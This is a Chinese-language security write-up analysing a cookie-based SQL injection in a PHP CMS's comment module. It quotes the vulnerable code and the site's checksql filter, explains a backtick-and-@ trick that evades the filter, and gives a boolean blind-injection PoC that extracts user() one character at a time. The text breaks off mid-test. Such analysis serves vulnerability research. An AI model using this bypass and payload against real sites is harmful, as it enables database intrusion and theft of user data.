在common/comment.php中
require(dirname(__FILE__).'/../config.inc.php'); !isset($db)&&$db=connectdb(); require_once(FR_ROOT.'/inc/paylog.inc.php'); if(!$cfg['comment']=='1'){echo "<script language=JavaScript>{alert('本站未开启评论功能!');window.close();}</script>";exit;} $submit=isset($_POST['Submit'])?$_POST['Submit']:''; if($submit){ if($cfg['comment']){ if($anonymous){ $c_username ='匿名网友'; }else{ $user_login=_getcookie('user_login'); if($user_login){ $pjrname=$user_login; } $c_username=$pjrname; $sql="select m_id,m_pwd,m_typeid,m_groupid,m_name,m_loginip,m_logindate,m_email from {$cfg['tb_pre']}member where m_login='$pjrname'"; $rs= $db->get_one($sql);
这里从cookie中获取了$user_login的值,然后带入到了后面的sql语句中执行,如果cookie没有进行过滤的话,那么就有可能产生注入,那先看下_getcookie的方法到底是什么:
function _getcookie($var) { global $cfg; $var = $cfg['cookie_pre'].$var; return isset($_COOKIE[$var]) ? $_COOKIE[$var] : ''; }
发现其只是从$_COOKIE中获取相应的数据,那些再看下有没有对$_COOKIE进行过滤:
foreach(Array('_GET','_POST','_COOKIE') as $_request){ foreach($$_request as $_k => $_v) $_k{0} != '_' && ${$_k} = is_array($_v)?_runmagicquotes($_v):cleartags(_runmagicquotes($_v)); //foreach($$_request as $_k => $_v) ${$_k} = _runmagicquotes($_v); } function _runmagicquotes(&$svar){ if(!get_magic_quotes_gpc()){ if( is_array($svar) ){ foreach($svar as $_k => $_v) $svar[$_k] = _runmagicquotes($_v); }else{ $svar = addslashes($svar); } } return $svar; }
从上面的方法中可以看到,其只是对转换后的变量就行的转义,但并没有对$_GET,$_POST,$_COOKIE本身的数据做转义,那刚才上面的sql注入就可以形成了。 但是程序对整个sql语句做了防注入处理:
function checksql($dbstr,$querytype='select'){ $clean = ''; $old_pos = 0; $pos = -1; //普通语句,直接过滤特殊语法 if($querytype=='select'){ $nastr = "/[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}/i"; if(preg_match($nastr,$dbstr)){ log_write($dbstr,'sql'); showmsg('SafeError:10001', 'javascript:;'); exit(); } } //完整的SQL检查 while (true){ $pos = strpos($dbstr, '\'', $pos + 1); if ($pos === false){ break; } $clean .= substr($dbstr, $old_pos, $pos - $old_pos); while (true){ $pos1 = strpos($dbstr, '\'', $pos + 1); $pos2 = strpos($dbstr, '\\', $pos + 1); if ($pos1 === false){ break; } elseif ($pos2 == false || $pos2 > $pos1){ $pos = $pos1; break; } $pos = $pos2 + 1; } $clean .= '$s$'; $old_pos = $pos + 1; } $clean .= substr($dbstr, $old_pos); $clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean))); if (strpos($clean, 'union') !== false && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0){ $fail = true; } elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== false || strpos($clean, '#') !== false){ $fail = true; } elseif (strpos($clean, 'sleep') !== false && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0){ $fail = true; } elseif (strpos($clean, 'benchmark') !== false && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0){ $fail = true; } elseif (strpos($clean, 'load_file') !== false && preg_match('~(^|[^a-z])load_file($|[^[a-z])~s', $clean) != 0){ $fail = true; } elseif (strpos($clean, 'into outfile') !== false && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~s', $clean) != 0){ $fail = true; } elseif (preg_match('~\([^)]*?select~s', $clean) != 0){ $fail = true; } if (!empty($fail)){ log_write($dbstr,'sql'); showmsg('SafeError:10002', 'javascript:;');exit; } else { return $dbstr; } }
首先是对整个sql语句做了过滤union 等特殊字符操作,这样就union,时间盲注等都没法使用了。程序又阻止了报错,报错法也不能使用。 那看下能否使用bool型盲注: 回到漏洞点的地方,有一段这样的代码
if($rs){ $typeid=$rs["m_typeid"];$name=$rs['m_name'];$loginip=$rs['m_loginip'];$logindate=$rs['m_logindate']; if($rs['m_groupid']!=''){ $rsg=find_value_arr('g_id',$rs['m_groupid'],sysgroup($typeid));$Gintegral=explode(",",$rsg['g_integral']); if($typeid==1){$integral=$Gintegral[6];$integral2=$Gintegral[9];}else{$integral=$Gintegral[5];$integral2=$Gintegral[7];} }else{ $integral=$integral2=0; } if($pjrpass){ if($rs['m_pwd']==md5($pjrpass)){ $pwd=md5($pjrpass); $db ->query("update {$cfg['tb_pre']}member set m_loginnum=m_loginnum+1,m_logindate=NOW(),m_loginip='$ip' where m_login='$pjrname'"); _setcookie('user_login',$pjrname,3600*24); _setcookie('user_pass',$pwd,3600*24); _setcookie('user_type',usertype($typeid),3600*24); _setcookie('user_name',$name,3600*24); _setcookie('user_loginip',$loginip,3600*24); _setcookie('user_logindate',$logindate,3600*24); }else{ echo "<script language=JavaScript>{alert('用户名密码错误,请重新输入!');window.close();}</script>";exit; } } }
如果查询到有数据时,会判断密码是否正确。我们可以控制结果是否存在,可以控制程序是否进入密码判断,这样就可以实现盲注了。 但是还得绕过之前的sql语句检查。检查语句中第一步没有检查select 所以我们仍然可以用。 后面做了一个替换''之间内容的操作,利用这个操作 我们可以轻而易举的绕过 比如: where a=@`1` and (注入语句) #' 会被替换成 where a=@`'$XXX' 这样我们的注入语句就不会被后面的程序检查了,直接绕过了检测. 最终的POC: ' and m_login=@`'` or 1=1 and ord(mid(user(),1,1))=113 limit 0,1 #
当把POC中的113改成114以后: